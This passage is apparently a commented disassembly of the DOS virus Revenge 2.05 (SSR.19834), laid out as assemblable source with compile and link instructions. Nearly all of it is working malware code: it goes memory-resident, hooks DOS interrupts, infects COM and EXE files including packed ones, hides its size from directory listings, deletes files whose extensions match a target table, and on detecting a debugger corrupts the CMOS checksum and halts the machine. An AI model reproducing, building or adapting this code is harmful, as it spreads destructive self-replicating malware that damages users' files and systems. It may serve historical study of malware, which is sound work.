; source does not include the last 921 bytes of trash code).
;
; The code is commented enough so there's nothing else to say... if anybody
; wants to read something more about the functioning of this virus, i recom-
; mend to have a look to what AVPVE says about previous versions of this vi-
; rus (there are some errors in the description tho).
;
;
; Other data
; ÄÄÄÄÄÄÄÄÄÄ
; Virus : Revenge 2.05 (aka SSR.19834)
; Size : 19834 (11645 code+engines; 5000+1500+768 decryptors; 921 shit)
; Author : Stainless Steel Rat
; Origin : Russia
; Disasm by : Tcp/29A
;
; Send any question or comment to tcp@cryogen.com.
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; Engines:
; tasm /m res.asm
; tasm /m ssrme.asm
; tasm /m mme.asm
;
; Virus:
; tasm /m ssr.asm
; tlink ssr res ssrme mme
; exe2bin ssr ssr.com
;
; - -[SSR.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
SSR segment
assume cs:SSR, ds:SSR, es:SSR, ss:SSR
org 0

RES_DEC = 768
SSRME_DEC = 5000
MME_DEC = 1500
DECRYPTORS = RES_DEC + SSRME_DEC + MME_DEC
SHIT_AT_END = 921

SSR_SIZE = ((virus_end-virus_start+15)/16)*16
RES_SIZE = ((911+15)/16)*16
SSRME_SIZE = ((1507+15)/16)*16
MME_SIZE = 1133

VIRUS_SIZE = SSR_SIZE+RES_SIZE+SSRME_SIZE+MME_SIZE+DECRYPTORS+SHIT_AT_END
VIRUSCODE_SIZE = VIRUS_SIZE - DECRYPTORS

host: jmp virus_start ; Infected host


org 100h ; Virus starts here

virus_start:
call next_instruction
next_instruction:
pop si
jmp get_delta
nop

db 'Hi Hacker! Welcome to Hell',0 ; Hi SSR! ;)

get_delta:
sub si,offset(next_instruction)
push ds
pop es
push ds
push es
mov cx,VIRUSCODE_SIZE-(decrypted_code-virus_start)
nop
mov di,offset(decrypted_code)
add di,si
push es
xor ax,ax
mov es,ax ; ES:=0
mov ax,es:[1h*4]
mov cs:[si+ofs_int1],ax ; Read & save int1
mov ax,es:[1h*4+2]
mov cs:[si+seg_int1],ax
mov ax,offset(int1_decryptor)
add ax,si
mov es:[1h*4],ax ; Set new int1
mov es:[1h*4+2],cs
pushf
pop ax
shr ah,1
shl ah,1 ; AH:=xxx0
inc ah ; AH:=xxx1 (trace flag on)
push ax
mov al,cs:[si+starting_dec_selector]
mov cs:[si+dec_selector],al
mov al,cs:[si+i1_mask]
popf ; Trace flag on
loop $ ; Decrypt code via int1
nop
pop es
jmp decrypted_code

int1_decryptor:
push ax
push cx
cmp cx,0 ; All code decrypted?
jz restore_i1 ; Yes? then jmp
nop
nop
nop
call select_dec_inst
mov cl,al
mov cs:[si+encrypt_decrypt],90h
decrypt_instruction:
xor cs:[di],al ; Select instruction from table
encrypt_decrypt db 90h ; NOP for decryption
; RET for encryption
inc di
pop cx
pop ax
iret

restore_i1:
add sp,4
mov ax,cs:[si+ofs_int1] ; Restore original int1
mov es:[1h*4],ax
mov ax,cs:[si+seg_int1]
mov es:[1h*4+2],ax
retf 2

i1_mask db 0
starting_dec_selector db 0
ofs_int1 dw 0
seg_int1 dw 0

select_dec_inst:
push cx
push ax
push si
push di
mov bx,si
mov bp,offset(decryption_instructions)
mov di,offset(decrypt_instruction)
add di,si
add si,bp
mov al,cs:[bx+dec_selector]
ror al,1
mov cs:[bx+dec_selector],al
and al,3
mov cl,3
mul cl
add si,ax ; Select instruction
call copy_instruction
pop di
pop si
pop ax
pop cx
ret

copy_instruction:
push ds
push es
push cs
push cs
pop ds
pop es
cld
mov cx,3
rep movsb
pop es
pop ds
ret

dec_selector db 0

decryption_instructions:
sub cs:[di],al
add cs:[di],al
xor cs:[di],al
rol byte ptr cs:[di],cl

decrypted_code:
cmp cs:[si+host_type],1 ; Exe file?
je host_exe ; Yes? then jmp
nop
nop
nop
mov di,offset(header)
add di,si
push si
mov si,100h
xchg di,si
mov cx,e_header_exe-header_exe
rep movsb ; Restore host (COM)
pop si
host_exe:
push es
xor ax,ax
mov es,ax ; ES:=0
cmp es:[198h],0DEADh ; Resident?
pop es
jne install_virus ; No? then jmp
nop
nop
nop
jmp restore_exec_host

install_virus:
xor ax,ax
mov es,ax ; ES:=0
mov ax,es:[30h*4+3] ; Get int 21h segment (CP/M)
mov [si+realseg_i2f],ax ; Store for tunneling int 2Fh
mov ax,es:[1h*4] ; Offset int 1
mov cs:[si+ofs_i1],ax ; Store it
mov ax,es:[1h*4+2] ; Segment int 1
mov cs:[si+seg_i1],ax ; Store it
mov ax,es:[2Fh*4] ; Offset int 2Fh
mov cs:[si+ofs_i2f],ax ; Store it
mov ax,es:[2Fh*4+2] ; Segment int 2Fh
mov cs:[si+seg_i2f],ax ; Store it
mov es:[1h*4],offset(int_1) ; Tunneler
add es:[1h*4],si
mov es:[1h*4+2],cs
pushf
pop ax ; AX:=flags
and ah,0FEh
inc ah ; Trace flag on
push ax
popf
jmp start_tunneling
nop

db 'Move over, I said move over',0


db 'Hey, hey, hey, clear the way',0
db 'There''s no escape from my authority - I tell you -',0

start_tunneling:
mov ax,0ABCDh
push ds
push es
push si
pushf ; Simulated int 2Fh
db 9Ah ; call far
ofs_i2f dw 0
seg_i2f dw 0
pushf
pop ax ; AX:=flags
and ah,0FEh ; Trace flag off
push ax
popf ; Stop tunneling
pop si
pop es
pop ds
mov ax,cs:[si+ofs_i1]
mov es:[1h*4],ax ; Restore original int 1
mov ax,cs:[si+seg_i1]
mov es:[1h*4+2],ax
xor bx,bx
mov dx,bx
mov ax,1300h
push ds
push es
push si
call int_2f ; Get real int13h in DS:DX
pop si
mov cs:[si+ofs_i13],dx ; Store it
mov cs:[si+seg_i13],ds
mov ax,1300h
push si
call int_2f ; Restore address from previous call
pop si
pop es
pop ds
jmp make_resident
nop

ofs_i1 dw 0
seg_i1 dw 0

int_1:
pushf
push si
call getdelta_i1
getdelta_i1:
pop si
sub si,offset(getdelta_i1) ; Get delta-offset
push ax
push bp
push bx
pushf
pop bx ; Flags
mov bp,sp
mov ax,cs:[si+realseg_i2f]
cmp [bp+0Ch],ax ; Original int 2Fh segment?
jne no_real_i2f ; No? then jmp
nop
nop
nop
mov ax,[bp+0Ah] ; Get int 2fh offset
mov cs:[si+realofs_i2f],ax ; Store it
mov [bp+0Eh],bx ; Flags
no_real_i2f:
pop bx
pop bp
pop ax
pop si
popf
iret

int_2f:
pushf
db 9Ah ; call far
realofs_i2f dw 0
realseg_i2f dw 0
ret

make_resident:
mov ax,ds
dec ax
mov es,ax ; ES->MCB
mov dh,es:[0] ; Get 'M' or 'Z'
mov byte ptr es:[0],'M' ; Mark current block as 'middle'
mov bx,VIRUSCODE_SIZE+100h
nop
mov cl,4
shr bx,cl ; div 16
inc bx
inc bx
add bx,40000/16 ; Space for encryption buffers
sub es:[3],bx
dec word ptr es:[3] ; Build a new MCB
add ax,es:[3]
inc ax
mov es,ax
mov es:[0],dh ; Put 'M' or 'Z'
mov word ptr es:[8],0 ; Block owner name
inc ax
mov es:[1],ax ; Paragraph of owner
mov es:[3],bx ; Chain next MCB
add ax,1
mov es,ax
push si
xor di,di
mov cx,VIRUSCODE_SIZE
nop
l_copy_code:
mov ah,cs:[si+100h] ; Copy code to new MCB
mov es:[di],ah
inc si
inc di
loop l_copy_code
pop si
push ds
push es
pop ds
xor ax,ax
mov es,ax ; ES:=0
mov bx,es:[21h*4] ; Get int 21h
mov es,es:[21h*4+2]
mov seg_i21-100h,es ; Store it
mov ofs_i21-100h,bx
mov seg_i21_2-100h,es
mov ofs_i21_2-100h,bx
mov ax,es:[bx] ; Read 2 bytes from int 21h entry
mov _2bytes_21h-100h,ax ; Store bytes
mov es:[bx],0ACCDh ; Change bytes to 'int 0ACh'
pop es
push si
push cx
xor si,si
mov cx,int_24-virus_start
nop
in al,40h ; Get random number
l_crypt_memcode:
push cx
mov mem_mask-100h,al ; Store mask
mov cl,al
add [si],cl ; Encrypt code in memory
ror byte ptr [si],cl
xor [si],cl
inc si
pop cx
loop l_crypt_memcode
pop cx
pop si
xor ax,ax
mov es,ax ; ES:=0
cli
mov es:[0ABh*4],offset(int_ab)-100h ; Set new int 0ABh
mov es:[0ABh*4+2],ds
mov es:[0ACh*4],offset(int_ac)-100h ; Set new int 0ACh
mov es:[0ACh*4+2],ds
mov es:[1Ch*4],offset(int_1c)-100h ; Set new int 1Ch
mov es:[1Ch*4+2],ds
mov es:[6h*4],offset(int_6)-100h ; Set new int 6
mov es:[6h*4+2],ds
sti
mov _signature-100h,dx ;??
mov returnAX_fffn-100h,dx ;??
jmp restore_exec_host

int_ab:
pushf
push ax
push bx
push cx
push dx
push bp
push si
push di
push ds
push es
push ax
mov ax,':)' ; Check if anyone is tracing
push ax
cli
inc sp
inc sp
nop
dec sp
dec sp
sti
pop ax
cmp ax,':)' ; Being traced?
je no_tracing ; No? then jmp
nop
nop
nop
mov al,2Eh
out 70h,al ; CMOS: Select address 2Eh (checksum)
out 71h,al ; CMOS: Write 2Eh (corrupt checksum)
cli
hlt ; Halt computer

no_tracing:
pop ax
push es
push ax
xor ax,ax
mov es,ax ; ES:=0
mov es:[198h],0DEADh ; Residency mark
mov ax,cs:infection_count-100h
mov es:[88h*4],ax ; ??
pop ax
pop es
cmp ax,4B00h ; Exec?
je try_to_infect ; Yes? then jmp
nop
nop
nop
cmp ah,3Dh ; Open?
je try_to_infect ; Yes? then jmp
nop
nop
nop
cmp ah,4Eh ; Find-first (handle)?
jne cmp_fn ; No? then jmp
nop
nop
nop
jmp ff_fn

cmp_fn:
cmp ah,4Fh ; Find-Next (handle)?
je jmp_fffn ; Yes? then jmp
jmp popregs_iret

jmp_fffn:
jmp ff_fn

try_to_infect:
mov di,dx
call convert2uppercase ; Convert filename to uppercase
search_extension:
mov ah,[di]
cmp ah,0 ; End of string?
jne search_dot ; No? then jmp
jmp popregs_iret ; Yes? then jmp (no dot)

search_dot:
cmp ah,'.' ; Dot?
je found_dot ; Yes? then jmp
nop
nop
nop
inc di ; Next char
jmp search_extension

found_dot:
inc di
cmp word ptr [di],'OC' ; *.CO*?
jne check_if_exe ; No? then jmp
nop
nop
nop
cmp byte ptr [di+2],'M' ; *.COM?
je jmp_jmp_infect ; Yes? then jmp
jmp popregs_iret

jmp_jmp_infect:
jmp jmp_infect
nop

check_if_exe:
cmp word ptr [di],'XE' ; *.EX*?
je maybe_exe ; Yes? then jmp
jmp popregs_iret

maybe_exe:
cmp byte ptr [di+2],'E' ; *.EXE?
je jmp_infect ; Yes? then jmp
jmp popregs_iret

jmp_infect:
jmp infect
nop

db 'Gimme the prize, just gimme the prize',0

infect:
push es
push ds
push dx
mov cx,cs
sub cx,10h
mov ds,cx
mov ax,3524h
call int_21 ; Get int 24h
mov ofs_i24,bx ; Save it
mov seg_i24,es
mov dx,offset(int_24)
mov ah,25h
call int_21 ; Set new int 24h
pop dx
pop ds
pop es
push ds
push dx
mov ax,4300h
call int_21 ; Get file attributes
jnc reset_attr
nop
nop
nop
pop dx
pop ds
jmp restore_i24
reset_attr:
mov cs:attributes-100h,cx
mov ax,4301h
xor cx,cx
call int_21 ; Reset attributes
jnc check_name
nop
nop
nop
pop dx
pop ds
jmp restore_i24

check_name:
call check_valid_fname
push es
xor ax,ax
mov es,ax ; ES:=0
mov ax,es:[2Ah*4] ; Get int 2Ah
mov cs:ofs_i2a-100h,ax
mov ax,es:[2Ah*4+2]
mov cs:seg_i2a-100h,ax
mov es:[2Ah*4],offset(int_2a)-100h ; Set new int 2Ah
mov es:[2Ah*4+2],cs
mov di,dx
l_search_ext:
cmp byte ptr [di],'.' ; Dot?
je found_ext ; Yes? then jmp
nop
nop
nop
inc di
jmp l_search_ext

found_ext:
mov al,[di+1] ; Get first char of extension
mov cs:byte_ext-100h,al ; Save it
mov cs:ofs_byte_ext-100h,di ; and save its address
mov cs:seg_byte_ext-100h,ds
; BUG!!! Missing 'mov [di+1],xx'
mov ax,3D02h
push es
call int_21 ; Open file I/O
pop es
jnc open_ok
nop
nop
nop
call restore_i2a
pop es
jmp restore_attr

open_ok:
push ax
call restore_i2a
pop ax
pop es
jmp read_header
nop

int_2a: ; Int 2Ah: Called by int 21h


cmp ah,82h ; End DOS critical sections 0-7 ?
jne exit_i2a ; No? then jmp
nop
nop
nop
push es
push di
push ax
mov di,cs:seg_byte_ext-100h ; Restore file extension
mov es,di
mov di,cs:ofs_byte_ext-100h
mov al,cs:byte_ext-100h
mov es:[di+1],al
pop ax
pop di
pop es
exit_i2a:
iret

ofs_byte_ext dw 0
seg_byte_ext dw 0
byte_ext db 0
ofs_i2a dw 0
seg_i2a dw 0

restore_i2a:
mov ax,cs:ofs_i2a-100h ; Restore int 2Ah
mov es:[2Ah*4],ax
mov ax,cs:seg_i2a-100h
mov es:[2Ah*4+2],ax
ret

read_header:
mov cx,cs
sub cx,10h
mov ds,cx ; DS:=CS-10h
mov bx,ax
mov ah,3Fh
mov cx,e_header_exe-header_exe
mov dx,offset(header)
call int_21 ; Read file header
jnc get_timedate
jmp close_file

get_timedate:
mov ax,5700h
call int_21 ; Get file time/date
jnc timedate_ok
jmp close_file

timedate_ok:
push cx
mov ax,dx ; File date
mov cl,5
shr ax,cl
and ax,0Fh ; Get month
mov dx,ax
pop ax ; File time
and ax,1Fh ; Get seconds
cmp ax,dx ; Infected? (seconds==month)
jne check_header ; No? then jmp
jmp close_file

check_header:
mov file_month,dx ; Save file month
cmp _signature,'ZM' ; Exe mark?
jne cmp_mark2 ; No? then jmp
jmp is_exe ; Yes? then jmp

cmp_mark2:
cmp _signature,'MZ' ; Exe mark?
jne is_com ; No? then jmp
jmp is_exe ; Yes? then jmp

is_com:
mov host_type,0 ; COM file
call check4pklite_com ; PKLited file?
jc no_pk_com ; No? then jmp
nop
nop
nop
mov dx,190h
mov ah,3Fh
call lseekDX_functionAX ; Lseek 190h & read a byte
add encrypted_byte,53h ; Encrypt it
mov dx,190h
mov ah,40h
call lseekDX_functionAX ; Lseek 190h & write the byte
mov pklite_com,1 ; It's a pklited file
mov dx,1
add dx,inc_ofs_patch1 ; offset 2 for Pklite 1.50+
; offset 1 for other versions
xor cx,cx
mov ax,4200h
call int_21
jnc patch_pklite_com
jmp close_file

patch_pklite_com:
mov dx,offset(_FFFF)
mov cx,2
mov ah,40h
call int_21 ; Patch file with a 0FFFFh to give
; control to the out-of-memory routine
jnc patch_pklite_com2
jmp close_file

patch_pklite_com2:
mov dx,ofs_patchcom2 ; Offset of 2nd patch
xor cx,cx
jmp mark_encrypted

no_pk_com:
mov pklite_com,0 ; It isn't a pklited file
cmp byte ptr header,0E9h ; Start with a JMP?
jne cmp_call ; No? then jmp
nop
nop
nop
mov ax,word ptr header+1 ; Offset of jump
add ax,3 ; Destiny of jump
mov jmp_dest,ax ; This will be the entry point
mov word ptr header,0EBAh
mov encrypted_byte?,0FFh
mov dx,190h
mov ah,3Fh
call lseekDX_functionAX ; Lseek 190h and read a byte
add encrypted_byte,53h ; Encrypt it
mov dx,190h
mov ah,40h
call lseekDX_functionAX ; Lseek 190h and save the byte
jmp mark_no_pkcom2
nop

cmp_call:
cmp byte ptr header,0E8h ; CALL?
jne encrypt190 ; No? then jmp
nop
nop
nop
mov ax,word ptr header+1 ; Offset of call
add ax,3 ; Destiny of call
mov jmp_dest,ax ; This will be the entry point
mov word ptr header,0EBAh
mov encrypted_byte?,0
jmp mark_no_pkcom2
nop

encrypt190:
mov dx,190h
mov ah,3Fh
call lseekDX_functionAX ; Lseek 190h and read a byte
add encrypted_byte,53h ; Encrypt it
mov dx,190h
mov ah,40h
call lseekDX_functionAX ; Lseek 190h and write the byte
jmp mark_no_pkcom
nop

lseekDX_functionAX:
push ax
mov ax,4200h
xor cx,cx
call int_21 ; Lseek start+DX
pop ax
mov dx,offset(encrypted_byte)
mov cx,1
call int_21 ; Perform AX function
ret

mark_no_pkcom:
xor dx,dx
xor cx,cx
mov pklite_com,0
mark_encrypted:
mov jmp_dest,0
mov encrypted_byte?,0FFh
jmp check_com_size
nop

mark_no_pkcom2:
mov pklite_com,0
xor cx,cx
xor dx,dx
check_com_size:
push cx
push dx
mov ax,4202h
xor cx,cx
xor dx,dx
call int_21 ; Lseek end
pop dx
pop cx
cmp ax,27434 ; Big file?
jb cmp_little ; No? then jmp
jmp close_file

cmp_little:
cmp ax,400 ; Little file?
ja size_ok ; No? then jmp
jmp close_file

size_ok:
mov cs:ofs_vircode-100h,ax ; Calc runtime offset
add cs:ofs_vircode-100h,100h
cmp pklite_com,1 ; Pklited file?
jne calc_ofs_jmp ; No? then jmp
nop
nop
nop
sub ax,3 ; Calculate jmp to virus in pklite code
sub ax,ofs_patchcom2
jmp store_jmp_virus
nop

calc_ofs_jmp:
sub ax,3 ; Jmp to virus in non-pklited file
store_jmp_virus:
mov jmp_vir_h,ah
mov jmp_vir_l,al
mov ax,4200h
call int_21 ; Lseek to offset to patch
jnc write_jmp
jmp close_file

write_jmp:
mov ah,40h
mov dx,offset(jmp_com)
mov cx,3
call int_21 ; Write jmp
jnc jmp_append_code
jmp close_file

jmp_append_code:
jmp append_code
nop

db 'Save me,save me',0

append_code:
mov ax,4202h
xor cx,cx
xor dx,dx
call int_21 ; Lseek end
mov cx,VIRUSCODE_SIZE
nop
mov ax,0BA00h ; Encryption buffer
mov es,ax
push ds
push cs
pop ds
xor si,si
xor di,di
rep movsb ; Copy code to encryption buffer
pop ds
in al,40h ; Get random number
mov es:starting_dec_selector-100h,al
mov enc_selector,al
mov cx,VIRUSCODE_SIZE-(decrypted_code-virus_start)
nop
in al,40h ; Get random number
mov es:i1_mask-100h,al
mov di,offset(decrypted_code)
sub di,100h
xor dx,dx
l_enc_i1:
call encrypt_i1
push cx
mov cl,al
enc_inst:
nop
nop
nop
pop cx
inc di
loop l_enc_i1
jmp crypt_code_and_save

db 0
db 'Give me your WEBs, let me squeeze them in my hands,',0
db 'Your puny scaners,',0
db 'Your so-called heuristics analyzers,',0
db 'I''ll eat them whole before I''m done,',0
db 'The battle''s fought and the game is won,',0
db 'I am the one the only one,',0
db 'I am the god of kingdom come,',0

crypt_code_and_save:
push ds
push es
pop ds
push bx
mov bx,cs:ofs_vircode-100h
push bx
add bx,MME_DEC+SSRME_DEC
mov ax,VIRUSCODE_SIZE
mov cl,4 ; Prepare buffer
shr ax,cl
inc ax
mov dx,cs
add ax,dx
mov es,ax
mov cx,VIRUSCODE_SIZE
nop
xor dx,dx
push es
push ds
call res_engine ; Call engine
pop es
xor di,di
xor si,si
push cx
cld
rep movsb
pop cx
push es
pop ds
pop es
pop bx
push bx
add bx,MME_DEC
push es
push ds
call ssrme_engine ; Call engine
pop es
xor di,di
xor si,si
push cx
cld
rep movsb
pop cx
push es
pop ds
pop es
pop bx
call mme_engine ; Call engine
pop bx
push ds
mov ah,40h
call int_21 ; Write virus body to disk
pop es
pop ds
jnc check_pkexe_snd
jmp close_file

check_pkexe_snd:
cmp pklite_exe,1 ; PKLited EXE file?
jne check_pkcom_snd ; No? then jmp
jmp set_infection_mark

check_pkcom_snd:
cmp pklite_com,1 ; PKLited COM file?
jne check_tlink_snd ; No? then jmp
jmp set_infection_mark

check_tlink_snd:
cmp byte ptr word_ofs1C,1 ; Linked with Borland TLINK?
jne check_lzexe_snd ; No? then jmp
jmp set_infection_mark

check_lzexe_snd:
cmp word_ofs1C,'ZL' ; LZEXE file?
jne jmp_SND ; No? then jmp
jmp set_infection_mark

jmp_SND:
jmp SND
nop

db 'Seek aNd Destroy Technology [SND]',0

SND:
xor cx,cx
xor dx,dx
mov ax,4200h
call int_21 ; Lseek start
push ds
mov ax,0BA00h
mov ds,ax ; DS:=0BA00h
mov ah,3Fh
xor dx,dx
mov cx,16*1024
call int_21 ; Read 16KB from file
push ax
mov cx,ax ; CX:=number of bytes read
xor di,di
l_next_SND:
cmp byte ptr [di],0B8h ; MOV AX,xxxx?
je cmp_movax_int21h ; Yes? then jmp
nop
nop
nop
cmp byte ptr [di],0B4h ; MOV AH,xx?
jne next_SND ; No? then jmp
nop
nop
nop
cmp word ptr [di+2],21CDh ; INT 21h?
jne next_SND
nop
nop ; Found MOV AH,xx + INT 21h
nop
mov al,[di+1] ; Get xx in MOV AH,xx
mov byte ptr [di],0F0h ; Int 6h when executed
push ax
call get_random
and ax,7 ; AX in [0..7]
mov bp,ax
mov al,byte ptr cs:[bp+SND_table-100h]
mov [di+1],al ; Gen instruction
call get_random
mov [di+2],al
mov dl,al
pop ax
xor al,dl ; Encrypt original byte
mov [di+3],al ; and store it
add di,4
jmp next_SND
nop

cmp_movax_int21h:
cmp word ptr [di+3],21CDh ; INT 21h?
jne next_SND
nop
nop
nop
mov ax,[di+1] ; xxxx in MOV AX,xxxx
mov byte ptr [di],0F0h ; Int 6h when executed
push ax
call get_random
and ax,7 ; AX in [0..7]
mov bp,ax
mov al,byte ptr cs:[bp+SND_table-100h]
inc al ; AL -> AX
mov [di+1],al ; Generate opcode
call get_random
mov [di+2],al ; Random number
mov dl,al
mov dh,al
pop ax
xor ax,dx ; Encrypt original word
mov [di+3],ax ; and store it
add di,5
next_SND:
inc di
loop l_next_SND
xor dx,dx
xor cx,cx
mov ax,4200h ; Lseek start
call int_21
pop ax
xor dx,dx
mov cx,ax
mov ah,40h
call int_21 ; Write code
pop ds
jmp set_infection_mark
nop

get_random:
pushf
in al,40h ; Get random number
xor al,cs:[bx]
ror al,cl
add al,53h
popf
ret

SND_table:
db 3Ch ; cmp al,xx (+1 = cmp ax,xxxx)
db 24h ; and al,xx (+1 = and ax,xxxx)
db 14h ; adc al,xx (+1 = adx ax,xxxx)
db 0Ch ; or al,xx (+1 = or ax,xxxx)
db 34h ; xor al,xx (+1 = xor ax,xxxx)
db 1Ch ; sbb al,xx (+1 = sbb ax,xxxx)
db 2Ch ; sub al,xx (+1 = sub ax,xxxx)
db 04h ; add al,xx (+1 = add ax,xxxx)

set_infection_mark:
mov ax,5700h
call int_21 ; Get file date/time
mov ax,cx ; file time
mov cl,5
shr ax,cl
shl ax,cl ; Clear seconds field
add ax,file_month ; Set infection mark (seconds=month)
mov cx,ax
mov ax,5701h
call int_21 ; Set file date/time
jc close_file
nop
nop
nop
mov pklite_exe,0
mov pklite_com,0
jmp close_infected
nop

db '- THERE CAN BE ONLY ONE -',0

close_infected:
mov ah,3Eh
call int_21 ; Close file
inc infection_count
jmp restore_attr
nop
close_file:
mov ah,3Eh
call int_21 ; Close file
restore_attr:
mov cx,attributes
pop dx
pop ds
mov ax,4301h
call int_21 ; Restore attributes

restore_i24:
push ds
mov ax,2524h
mov dx,cs:ofs_i24-100h
mov bx,cs:seg_i24-100h
mov ds,bx
call int_21 ; Restore int 24h
pop ds
mov pklite_exe,0
mov pklite_com,0
push ds
push cs
pop ax
dec ax
dec ax
push ax
pop ds
inc word ptr ds:[8] ; Inc number of files processed
cmp word ptr ds:[8],50 ; 50 files?
pop ds
je check_activation ; Yes? then jmp
jmp popregs_iret

check_activation:
cmp cs:tick_counter-100h,900*18 ; >=900 seconds? (>15 mins.)
jae activation
jmp popregs_iret

activation:
mov ax,cs
sub ax,10h
mov ds,ax ; DS:=CS-10h
call print_REVENGE
jmp popregs_iret

is_exe:
mov host_type,1 ; EXE file
call check4pklite_exe ; Pklited file?
jc no_pk_exe ; No? then jmp
nop
nop
nop
jmp pk_exe
nop

db 'I''M GOING SLIGHTLY MAD'

pk_exe:
mov pklite_exe,1 ; It's a pklited exe
jmp process_exe
nop
no_pk_exe:
mov pklite_exe,0 ; It isn't a pklited exe
process_exe:
mov cl,4
mov dx,_hdrsize
shl dx,cl ; *16 (Header size in bytes)
add dx,512
mov ah,3Fh
push dx
call lseekDX_functionAX ; Read a byte
add encrypted_byte,7Eh ; Encrypt it
pop dx
mov ah,40h
call lseekDX_functionAX ; Write byte
jmp store_header
nop

db 'Don''t lose your header',0

store_header:
push si
push di
push es
mov si,offset(header)
mov di,offset(header_exe)
mov cx,e_header_exe-header_exe
cld
push ds
pop es
rep movsb ; Store header
pop es
pop di
pop si
mov ax,4202h
xor cx,cx
xor dx,dx
call int_21 ; Lseek end
jnc check_size_exe
jmp close_file

check_size_exe:
cmp dx,0 ; > 64k?
jnz check_big_exe ; Yes? then jmp
nop
nop
nop
cmp ax,4000 ; >= 4000 bytes?
jae check_big_exe ; Yes? then jmp
jmp close_file ; No? then jmp (too small)

check_big_exe:
cmp dx,9 ; > 9*64k ?
jb fix_header ; No? then jmp
jmp close_file ; Yes? then jmp (too big)

fix_header:
mov size_exe_l,ax ; Store file size
mov size_exe_h,dx
clc
add ax,VIRUS_SIZE
nop
adc dx,0
mov cx,512
div cx ; Calculate number of pages
mov pagecnt,ax
inc pagecnt ; Not always!!!
mov partpag,dx ; Length of partial page at end
mov ax,size_exe_l ; Get original size
mov dx,size_exe_h
mov cx,16
div cx ; Calculate virus segment and IP
mov exeip,dx ; Virus IP
sub ax,hdrsize
mov relocs,ax ; Virus segment
mov reloss,ax ; Stack segment
mov exesp,0FFFEh ; SP
push ax
mov ax,exeip
mov ofs_vircode,ax ; Virus runtime offset
pop ax
xor dx,dx
xor cx,cx
mov ax,4200h
call int_21 ; Lseek start
jnc patch_pk_header?
jmp close_file

patch_pk_header?:
cmp pklite_exe,1 ; Pklited exe?
jne write_header_exe ; No? then jmp
nop
nop
nop
mov ax,exeip
mov pk_exe_ip,ax
mov ax,relocs
add ax,10h ; Add PSP
mov pk_exe_cs,ax
mov ax,_exeip ; Header points to Pklite code
mov exeip,ax
mov ax,_relocs
mov relocs,ax
write_header_exe:
mov dx,offset(header_exe)
mov cx,e_header_exe-header_exe
mov ah,40h
call int_21 ; Write new header
jnc wrote_header_exe
jmp close_file

wrote_header_exe:
cmp pklite_exe,1 ; Pklited exe?
je patch_pkexe ; Yes? then jmp
jmp append_code

patch_pkexe:
mov ax,4200h
mov dx,ofs_segcode
add dx,29h
xor cx,cx
call int_21
mov ah,40h ; Lseek to code segment+29h
mov cx,e_pkexe_patch-pkexe_patch
nop
mov dx,offset(pkexe_patch)
call int_21 ; Write patch
jnc patch2_pkexe
jmp close_file

patch2_pkexe:
mov ax,4200h
mov dx,ofs_segcode
add dx,0Dh
xor cx,cx
call int_21 ; Lseek to code segment+0Dh
mov ah,40h
mov cx,1
mov dx,offset(jmp_xx_pkexe)
call int_21 ; Write jmp (force jmp to patched code)
jnc jmp2_append_code
jmp close_file

jmp2_append_code:
jmp append_code

jmp_xx_pkexe db 0EBh ; jmp xx

pkexe_patch:
mov ax,es
add cs:[135h],ax
jmp $+2
db 0EAh ; jmp far to virus start
pk_exe_ip dw 0
pk_exe_cs dw 0
e_pkexe_patch:

size_exe_l dw 0
size_exe_h dw 0

pklite_exe db 0 ; 0 = Exe-file not compressed with Pklite


; 1 = Exe-file compressed with Pklite

header_exe:
signature dw 0
partpag dw 0
pagecnt dw 0
relocnt dw 0
hdrsize dw 0
minmem dw 0
maxmem dw 0
reloss dw 0
exesp dw 0
chksum dw 0
exeip dw 0
relocs dw 0
tabloff dw 0
overlay dw 0
dw 0
dw 0
e_header_exe:

db 'Just very slightly mad !',0

ff_fn:
call int_21
jnc found_fffn
jmp exit_fffn_preserve_AX

found_fffn:
mov ah,2Fh
call int_21 ; Get DTA address in ES:BX
mov cl,es:[bx+15h] ; Get attributes
and cl,10h
cmp cl,10h ; Subdirectory?
jne no_directory ; No? then jmp
jmp exit_fffn

no_directory:
mov cx,es:[bx+16h] ; Get file time
mov dx,es:[bx+18h] ; Get file date
push cx
mov ax,dx ; AX:=file date
mov cl,5
shr ax,cl
and ax,0Fh ; AX:=month
mov dx,ax
pop ax ; AX:=file time
and ax,1Fh ; AX:=seconds
cmp ax,dx ; seconds=month? Infected?
jne check_table_ext ; No? then jmp
nop
nop
nop
cmp word ptr es:[bx+1Ch],0 ; >64KB?
jne restore_size ; Yes? then jmp
nop
nop
nop
cmp es:[bx+1Ah],VIRUS_SIZE ; >=virus size
jae restore_size ; Yes? then jmp
jmp exit_fffn

restore_size:
mov ax,es:[bx+1Ah]
cmp ax,VIRUS_SIZE
; sub es:[bx+1Ah],VIRUS_SIZE
; sbb es:[bx+1Ch],0 ?? ;)
nop
jb cross_64k
nop
nop
nop
jmp no_cross_64k
nop

cross_64k:
dec word ptr es:[bx+1Ch]
no_cross_64k:
sub es:[bx+1Ah],VIRUS_SIZE
jmp check_table_ext
nop

db 'I''m the invisible man',0

check_table_ext:
mov bp,offset(table_ext)
sub bp,100h
mov di,bx
add di,1Eh ; Point to filename
mov si,di
next_char_fname:
mov ah,es:[di]
cmp ah,0 ; End of filename?
jnz cmp_dot ; No? then jmp
nop
nop
nop
jmp exit_fffn

cmp_dot:
cmp ah,'.' ; Extension?
je found_extension ; Yes? then jmp
nop
nop
nop
inc di
jmp next_char_fname

found_extension:
inc di ; Point to extension
l_next_extension:
mov ax,cs:[bp]
cmp ax,es:[di] ; Extension in table?
je cmp_last_ext ; Maybe? then jmp
nop
nop
nop
cmp al,0FFh ; End of table?
je exit_fffn ; Yes? then jmp
nop
nop
nop
add bp,3 ; Next
jmp l_next_extension

cmp_last_ext:
mov ah,es:[di+2]
cmp ah,cs:[bp+2] ; Extension in table?
je jmp_kill_file ; Yes? then jmp
nop
nop
nop
add bp,3
jmp l_next_extension

jmp_kill_file:
jmp kill_file
nop

db 'Now you DiE !',0

kill_file:
push es
xor ax,ax
mov es,ax ; ES:=0
mov ax,es:[24h*4] ; Read & store int 24h
mov cs:ofs_i24-100h,ax
mov ax,es:[24h*4+2]
mov cs:seg_i24-100h,ax
mov es:[24h*4],offset(int_24)-100h ; Set new int 24h
mov es:[24h*4+2],cs
pop es
push es
push si
pop dx
pop ds
mov ah,41h
call int_21 ; Delete file
push es
xor ax,ax
mov es,ax ; ES:=0
mov ax,cs:ofs_i24-100h ; Restore int 24h
